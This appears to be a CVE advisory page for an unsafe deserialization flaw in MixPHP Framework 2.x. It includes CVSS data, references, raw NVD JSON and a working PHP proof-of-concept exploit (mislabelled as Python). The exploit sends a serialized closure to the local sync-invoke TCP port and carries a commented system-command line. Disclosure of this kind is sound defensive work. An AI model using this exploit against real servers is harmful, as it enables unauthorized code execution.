CVE-2026-37552

Description

Unsafe deserialization vulnerability in MixPHP Framework 2.x thru 2.2.17. The sync-invoke TCP server (Server.php:87) receives data from a TCP socket, passes it directly to Opis\Closure\unserialize(), then executes the result via call_user_func(). No authentication or signature verification exists on the TCP connection. An attacker with access to the localhost TCP port (server binds 127.0.0.1) can send a crafted serialized PHP closure to achieve arbitrary code execution.

CVSS Details

CVSS Score

8.4

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

MixPHP Framework 2.x - 2.2.17

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
// PoC for CVE-2026-37552
// Requires opis/closure library: composer require opis/closure

require 'vendor/autoload.php';

use Opis\Closure\SerializableClosure;

// Define the malicious payload (e.g., execute a shell command)
$malicious_function = function() {
    // Example: Create a file to prove execution
    file_put_contents('/tmp/poc_success.txt', 'CVE-2026-37552 Exploited');
    // Or execute system command
    // system('whoami');
};

// Serialize the closure using Opis\Closure
$payload = Opis\Closure\serialize($malicious_function);

// Target configuration (Check target config for actual port)
$host = '127.0.0.1';
$port = 9501; 

// Send the payload via TCP socket
$socket = stream_socket_client("tcp://{$host}:{$port}", $errno, $errstr, 30);
if (!$socket) {
    die("Connection failed: $errstr ($errno)\n");
}

fwrite($socket, $payload);
fclose($socket);

echo "Payload sent to $host:$port\n";
echo "Check /tmp/poc_success.txt on the target server.\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-37552
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-37552
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-37552/
[4] VulDB https://vuldb.com/cve/CVE-2026-37552
[5] https://gist.github.com/sgInnora/fa46386840fe978a30d7e53c458f2975
[6] https://github.com/mix-php/mix
[7] https://github.com/mix-php/mix/blob/v2.2.17/src/sync-invoke/src/Server.php

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-37552", "sourceIdentifier": "[email protected]", "published": "2026-05-01T16:16:30.917", "lastModified": "2026-05-07T15:53:49.717", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unsafe deserialization vulnerability in MixPHP Framework 2.x thru 2.2.17. The sync-invoke TCP server (Server.php:87) receives data from a TCP socket, passes it directly to Opis\\Closure\\unserialize(), then executes the result via call_user_func(). No authentication or signature verification exists on the TCP connection. An attacker with access to the localhost TCP port (server binds 127.0.0.1) can send a crafted serialized PHP closure to achieve arbitrary code execution."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://gist.github.com/sgInnora/fa46386840fe978a30d7e53c458f2975", "source": "[email protected]"}, {"url": "https://github.com/mix-php/mix", "source": "[email protected]"}, {"url": "https://github.com/mix-php/mix/blob/v2.2.17/src/sync-invoke/src/Server.php", "source": "[email protected]"}]}}